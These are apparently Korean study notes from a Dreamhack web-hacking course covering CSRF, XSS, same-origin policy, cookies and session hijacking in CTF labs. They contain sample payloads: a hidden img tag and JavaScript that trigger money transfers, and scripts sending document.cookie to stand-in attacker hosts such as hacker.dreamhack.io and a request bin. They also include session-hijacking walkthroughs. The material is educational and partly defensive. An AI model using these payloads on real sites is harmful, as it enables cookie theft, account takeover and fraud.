Cross Site Request Forgery (CSRF)  임의 이용자의 권한으로 임의 주소에 HTTP 요청을 보낼 수 있는 취약점

Example.

이용자의 계정으로 임의 금액을 송금해 금전적인 이득을 취하거나 비밀번호를 변경해 계정을 탈취하고, 관리자 계정을 공격해 공지사항 작성 등으로 혼란을 야기합니다.

CSRF 공격에 성공하기 위해서는 공격자가 작성한 악성 스크립트를 이용자가 실행해야 합니다.

 ** 위에서 말하는 악성 스크립트는 HTTP 요청을 보내는 코드

CSRF 공격 스크립트는 HTML 또는 Javascript를 통해 작성할 수 있습니다. 아래 사진 및 코드는 HTML으로 작성한 스크립트의 예시입니다.

이미지를 불러오는 img 태그를 사용하거나 웹 페이지에 입력된 양식을 전송하는 form 태그를 사용하는 방법이 있습니다. 이 두 개의 태그를 사용해 HTTP 요청을 보내면 HTTP 헤더인 Cookie에 이용자의 인증 정보가 포함됩니다.

아래 코드는 img 태그를 사용한 스크립트의 예시입니다. 해당 태그는 이미지의 크기를 줄일 수 있는 옵션을 제공합니다. 이를 활용하면 이용자에게 들키지않고 임의 페이지에 요청을 보낼 수 있습니다.

<img src='http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337' width=0px height=0px>

아래 코드는 Javascript로 작성된 스크립트의 예시입니다. 새로운 창을 띄우고, 현재 창의 주소를 옮기는 등의 행위가 가능합니다.

/* 새 창 띄우기 */
window.open('http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337');
/* 현재 창 주소 옮기기 */
location.href = 'http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337';
location.replace('http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337');

XSS와 CSRF는 스크립트를 웹 페이지에 작성해 공격한다는 점에서 매우 유사합니다. 

두 개의 취약점은 모두 클라이언트를 대상으로 하는 공격이며, 이용자가 악성 스크립트가 포함된 페이지에 접속하도록 유도해야 합니다

//차이점 

- XSS는 인증 정보인 세션 및 쿠키 탈취를 목적으로 하는 공격이며, 공격할 사이트의 오리진에서 스크립트를 실행시킵니다.

- CSRF는 이용자가 임의 페이지에 HTTP 요청을 보내는 것을 목적으로 하는 공격입니다. 또한, 공격자는 악성 스크립트가 포함된 페이지에 접근한 이용자의 권한으로 웹 서비스의 임의 기능을 실행할 수 있습니다.

Q1. 서버에서 이용자를 식별하기 위해 쿠키를 사용하고 있어야 CSRF 취약점으로 공격할 수 있다.

O

X

dreamhack web hacking 강의를 기반으로 작성되었습니다.

Cross Site Scripting (XSS) 

Cross Site Scripting (XSS)는 클라이언트사이드의 취약점 중 하나입니다.

공격자가 웹 리소스에 악성 스크립트를 삽입해서 이용자의 웹 브라우저에 해당 스크립트를 실행할 수 있습니다. 

예를 들어 XSS 취약점이 존재하는 사이트 내에 오리진 권한으로 악성 스크립트를 삽입한다면, 이용자가 악성 스크립트가 포함된 페이지를 방문하면 공격자가 임의로 삽입한 스크립트가 실행되어 쿠키 및 세션을 탈취할 수 있습니다.

XSS공격은 SOP 보안 정책이 등장하면서 서로 다른 오리진에서는 정보를 읽는 행위가 이전에 비해 힘들어졌지만, 우회하는 기술들을 이용한 XSS공격은 계속 지속되고 있습니다. 

XSS 공격은 이용자가 삽입한 내용을 출력하는 기능에서 발생합니다.

XSS 공격에는 대표적으로 4가지 종류가 있습니다.

자바스크립트를 이용한 XSS 공격 코드 예시

<script>
// "hello" 문자열 alert 실행.
alert("hello");
// 현재 페이지의 쿠키(return type: string)
document.cookie; 
// 현재 페이지의 쿠키를 인자로 가진 alert 실행.
alert(document.cookie);
// 쿠키 생성(key: name, value: test)
document.cookie = "name=test;";
// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 http://hacker.dreamhack.io
// "http://hacker.dreamhack.io/?cookie=현재페이지의쿠키" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
</script>

쿠키 및 세션 탈취 공격 코드

<script>
// 이용자의 페이지 정보에 접근.
document;
// 이용자의 페이지에 데이터를 삽입.
document.write("Hacked By DreamHack !");
</script>

페이지 변조 공격 코드

<script>
// 이용자의 위치를 변경.
// 피싱 공격 등으로 사용됨.
location.href = "http://hacker.dreamhack.io/phishing"; 
// 새 창 열기
window.open("http://hacker.dreamhack.io/")
</script>

위치 이동 공격 코드

Stored XSS

서버의 데이터베이스 또는 파일 등의 형태로 저장된 악성 스크립트를 조회할 때 발생

대표적으로 게시물과 댓글에 악성 스크립트를 포함해 업로드하는 방식

Reflected XSS

서버가 악성 스크립트가 담긴 요청을 출력할 때 발생

대표적으로 게시판 서비스에서 작성된 게시물을 조회하기 위한 검색창에서 스크립트를 포함해 검색하는 방식

일부 서비스에서는 검색 결과를 응답에 포함하는데, 검색 문자열에 악성 스크립트가 포함되어 있다면 Reflected XSS가 발생

Reflected XSS는 Stored XSS와는 다르게 URL과 같은 이용자의 요청에 의해 발생

 따라서 공격을 위해서는 다른 이용자를 악성 스크립트가 포함된 링크에 접속하도록 유도해야 합니다. 이용자에게 링크를 직접 전달하는 방법은 악성 스크립트 포함 여부를 이용자가 눈치챌 수 있기 때문에 주로 Click Jacking 또는 Open Redirect 등 다른 취약점과 연계하여 사용합니다.

쿠키 탈취

memo 페이지 사용

flag 엔드포인트에서 다음과 같은 익스플로잇 코드를 입력하면, memo 엔드포인트에서 임의 이용자의 쿠키 정보를 확인할 수 있습니다.

<script>location.href = "/memo?memo=" + document.cookie;</script>

웹 서버 사용

외부에서 접근 가능한 웹 서버를 통해 탈취한 쿠키를 확인할 수 있습니다. 외부에서 접근 가능한 웹 서버가 없다면 아래 첨부한 드림핵에서 제공하는 서비스를 사용할 수 있습니다. 해당 서비스에서 제공하는 Request Bin 기능은 이용자의 접속 기록을 저장하기 때문에 해당 정보를 확인할 수 있습니다. Request Bin 버튼을 클릭하면 랜덤한 URL이 생성되며, 해당 URL에 접속한 기록을 저장합니다.

flag 기능에서 다음과 같은 익스플로잇 코드를 입력하면, 아래와 같이 접속 기록에 포함된 FLAG를 확인할 수 있습니다.

<script>location.href = "http://RANDOMHOST.request.dreamhack.games/?memo=" + document.cookie;</script>

dreamhack web hacking 강의를 기반으로 작성되었습니다.

Same Origin Policy (SOP)

브라우저는 인증 정보로 사용될 수 있는 쿠키를 브라우저 내부에 보관합니다. 그리고 이용자가 웹 서비스에 접속할 때, 브라우저는 해당 웹 서비스에서 사용하는 인증 정보인 쿠키를 HTTP 요청에 포함시켜 전달합니다. 

브라우저는 웹 리소스를 통해 간접적으로 타 사이트에 접근할 때도 인증 정보인 쿠키를 함께 전송하는 특징을 가지고 있습니다.

이 특징 때문에 악의적인 페이지가 클라이언트의 권한을 이용해 대상 사이트에 HTTP 요청을 보내고, HTTP 응답 정보를 획득 하는 코드를 실행할 수 있습니다. 

따라서, 클라이언트 입장에서는 가져온 데이터를 악의적인 페이지에서 읽을 수 없도록 해야 합니다. 이것이 바로 브라우저의 보안 메커니즘인 동일 출처 정책 (Same Origin Policy, SOP) 입니다.

SOP는 Cross Origin이 아닌 Same Origin일 때만 정보를 읽을 수 있도록 해줍니다.

Same Origin

sameNewWindow = window.open('https://dreamhack.io/lecture');
console.log(sameNewWindow.location.href);
// 결과: https://dreamhack.io/lecture

crossNewWindow = window.open('https://theori.io');
console.log(crossNewWindow.location.href);
// 결과: Origin 오류 발생

** window.open은 새로운 창을 띄우는 함수이며, object.location.href는 객체가 가리키고 있는 URL 주소를 읽어오는 코드 입니다.

Cross Origin 데이터 읽기/쓰기

위와 같이 외부 출처에서 불러온 데이터를 읽으려고 할 때는 오류가 발생해 읽지 못합니다. 하지만 읽는 것 외에 데이터를 쓰는 것은 문제 없이 동작합니다. 즉, 아래와 같은 코드는 오류가 발생하지 않습니다.

crossNewWindow = window.open('https://theori.io');
crossNewWindow.location.href = "https://dreamhack.io";

Cross-Origin Resource Sharing (CORS)

위 경우들 외에도 웹 서비스에서 동일 출처 정책인 SOP를 완화하여 다른 출처의 데이터를 처리 해야 하는 경우도 있습니다. 예를 들어 특정 포털 사이트가 카페, 블로그, 메일 서비스를 아래의 주소로 운영하고 있다고 합시다. 각 서비스의 Host가 다르기 때문에 브라우저는 각 사이트의 오리진이 다르다고 인식합니다.

• 카페: https://cafe.dreamhack.io
• 블로그: https://blog.dreamhack.io
• 메일: https://mail.dreamhack.io
• 메인: https://dreamhack.io

이러한 환경에서, 이용자가 수신한 메일의 개수를 메인 페이지에 출력하려면, 개발자는 메인 페이지에서 메일 서비스에 관련된 리소스를 요청하도록 해야합니다. 이 때, 두 사이트는 오리진이 다르므로 SOP를 적용받지 않고 리소스를 공유할 방법이 필요합니다.

위와 같은 상황에서 자원을 공유하기 위해 사용할 수 있는 공유 방법을 교차 출처 리소스 공유 (Cross Origin Resource Sharing, CORS)라고 합니다. 교차 출처의 자원을 공유하는 방법은 CORS와 관련된 HTTP 헤더를 추가하여 전송하는 방법을 사용합니다. 이 외에도 JSON with Padding (JSONP) 방법을 통해 CORS를 대체할 수 있습니다.

교차 출처 리소스 공유 (Cross Origin Resource Sharing, CORS)는 HTTP 헤더에 기반하여 Cross Origin 간에 리소스를 공유하는 방법입니다. 발신측에서 CORS 헤더를 설정해 요청하면, 수신측에서 헤더를 구분해 정해진 규칙에 맞게 데이터를 가져갈 수 있도록 설정합니다.

dreamhack web hacking 강의를 기반으로 작성되었습니다.

웹 서비스 취약점 분석

엔드 포인트: /admin

엔드포인트는 컴퓨터 네트워크에 연결되는 모든 장치를 말합니다. Bob과 Alice가 전화로 통화할 때 두 사람의 연결은 한 사람에서 다른 사람으로 확장되며, 연결의 "엔드포인트" 는 각자의 전화입니다. 

admin 세션 생성은 서비스 실행 시 os.urandom(32).hex()를 통한 무작위 값 생성을 통해 username이 admin인 세션 정보를 session_storage에 생성합니다. 해당 session_storage 정보를 조회할 수 있다면 무작위 값을 추론하지 않고도 곧바로 Session ID를 획득할 수 있음을 알 수 있습니다.

if __name__ == '__main__':
    import os
    # create admin sessionid and save it to our storage
    # and also you cannot reveal admin's sesseionid by brute forcing!!! haha
    session_storage[os.urandom(32).hex()] = 'admin' # username이 admin인 Session ID를 무작위로 생성
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)

간단한 Cookie 변조를 통한 admin 계정 탈취 연습

py 코드를 분석하여 guest 이메일로 로그인합니다.

로그인페이지에서 마우스 오른쪽 버튼을 클릭하여 inspector를 열어주고 Application -> Cookies 카테고리를 찾아 들어가면 현재 Value가 guest 인 것을 확인 할 수 있습니다.

value값 guest를 admin 으로 수정을 하고 새로고침을 하면 admin 계정으로 접속이 되고 FLAG를 찾을 수 있습니다.

간단한 Session Hijacking 연습

/admin 페이지에 접속하면 세션 정보 조회와 같이 현재 접속된 모든 이용자의 Session ID와 username을 조회할 수 있습니다.

Session ID와 username을 복사한 후 py 코드를 분석하여 user 아이디로 로그인을 합니다.

이후 쿠키의 sessionid의 값을 admin의 Session ID로 생성해야 합니다. 방금 연습한 웹 브라우저를 통해 쿠키 변조와 같이 웹 브라우저의 개발자 도구를 사용하면 쿠키의 정보를 수정할 수 있습니다. 

User의 Session ID를 admin의 세션아이디로 변경합니다.

admin의 Session ID가 적용된 상태에서 서버에 요청하면 FLAG를 획득할 수 있습니다.

결론

기본적으로 배포 전 디버그 코드가 남아있는지 검사한다면 이번 실습의 공격을 방지할 수 있습니다. “developer’s note”나 “TODO” 등과 같은 문자열들을 찾아보며 소스코드에 주석된 메시지와 코드들을 점검하는 습관을 들이는 것이 좋습니다.

세션 하이재킹 공격에 대해서는 세션 타임아웃을 적용해 해결할 수 있습니다. 일정 주기마다 Session ID를 재발급해 정상 로그인한 이용자는 장기간 세션을 유지할 수 있는 반면, 탈취한 Session ID로 접속한 아용자는 일정시간 이후 더 이상 해당 인증이 유효하지 않게 되므로 안전한 서비스를 구현할 수 있습니다.

dreamhack web hacking 강의를 기반으로 작성되었습니다.

Cookie

용도

쿠키는 클라이언트의 정보 기록과 상태 정보를 표현하는 용도로 사용합니다.

쿠키에는 인증 상태를 나타내는 민감한 정보가 보관되며, 브라우저 내부에 저장됩니다. 그리고 브라우저가 웹 서비스에 접속할 때 브라우저는 자동으로 쿠키를 헤더에 포함시켜 요청을 보냅니다. 이 덕분에 우리는 포털 사이트, SNS와 같은 웹 서비스에 한 번 로그인한 후 일정 기간은 로그인하지 않고도 바로 서비스를 사용할 수 있습니다.

정보기록

예를들어, 웹 서비스 사용 시 등장하는 팝업 창 "다시보지않기" 또는 "7일 동안 보지않기" 버튼 등이 있다. 이러한 버튼을 클릭하면 웹 서버는 자동으로 클라이언트의 팝업 옵션을 기록하기 위해 쿠키에 해당 정보를 기억하고 쿠키를 통해 팝업 창의 표시 여부를 판단합니다.

쿠키는 서버와 통신할 때마다 전송이 되기 때문에 리소스 용량을 많이 차지 하는 경향이 있다. 이를 보완하기 위해 최근에는 Modern Storage APIs를 통해 데이터를 저장하는 방식을 권장하고 있습니다.

상태정보

많은 웹 사이트에서는 회원 가입과 로그인을 통해 개개인에게 맞춤형 서비스를 제공합니다. 웹 서버에서는 수많은 클라이언트의 로그인 상태와 이용자를 구별해야 하는데, 이때 클라이언트를 식별할 수 있는 값을 쿠키에 저장해 사용합니다.

쿠키 변조

쿠키는 클라이언트의 브라우저에 저장되고 요청에 포함되는 정보입니다. 악의적인 클라이언트는 쿠키 정보를 변조해 서버에 요청을 보낼 수 있습니다. 만약 서버가 별다른 검증 없이 쿠키를 통해 이용자의 인증 정보를 식별한다면 공격자가 타 이용자를 사칭해 정보를 탈취할 수 있습니다.

취약점 분석

@app.route('/') # / 페이지 라우팅 
def index():
    username = request.cookies.get('username', None) # 이용자가 전송한 쿠키의 username 입력값을 가져옴
    if username: # username 입력값이 존재하는 경우
        return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}') # "admin"인 경우 FLAG 출력, 아닌 경우 "you are not admin" 출력
    return render_template('index.html')

본 문제를 해결하기 위해서는 쿠키에 존재하는 username을 "admin" 문자열로 조작해야 합니다. 웹 브라우저의 개발자 도구를 사용하면 쿠키의 정보를 확인하거나 수정할 수 있습니다

Session

웹 통신에서도 클라이언트가 쿠키를 변조해 서버에 요청을 보낼 수 있습니다. 따라서, 쿠키에 인증 상태를 저장하지만 클라이언트가 인증 정보를 변조할 수 없게 하기 위해 세션(Session)을 사용합니다.

 세션은 인증 정보를 서버에 저장하고 해당 데이터에 접근할 수 있는 키(유추할 수 없는 랜덤한 문자열)를 만들어 클라이언트에 전달하는 방식으로 작동합니다. 해당 키를 일반적으로 Session ID라고 합니다. 브라우저는 해당 키를 쿠키에 저장하고 이후에 HTTP 요청을 보낼 때 사용합니다. 서버는 요청에 포함된 키에 해당하는 데이터를 가져와 인증 상태를 확인합니다.

연습

원하는 웹페이지에 로그인을 한 이후, 

마우스 오른쪽 클릭을 하여 Inspect -> Application -> Cookies 에 들어가서 sessionID를 확인할 수 있습니다.

sessionid 헤더의 값을 메모장에 복사 합니다.

sessionid 를 우클릭을 통해 delete하고 새로고침을 하면 웹페이지의 로그인이 풀려 있는 것을 확인 할 수 있습니다.

쿠키의 빈 칸을 더블 클릭해 sessionid 헤더를 추가하고, 이전에 복사한 세션 값을 입력하면 브라우저의 쿠키에 세션 값이 설정됩니다. 세션 값을 설정하고 드림핵 페이지를 새로고침하면 로그인이 되는 것을 확인할 수 있습니다.

쿠키에는 여러분의 세션 정보가 저장되어 있고 서버는 이를 통해 이용자 식별하고 인증을 처리합니다. 공격자가 이용자의 쿠키를 훔칠 수 있으면 세션에 해당하는 이용자의 인증 상태를 훔칠 수 있는데, 이를 세션 하이재킹 (Session Hijacking)이라고 합니다.

dreamhack web hacking 강의를 기반으로 작성되었습니다.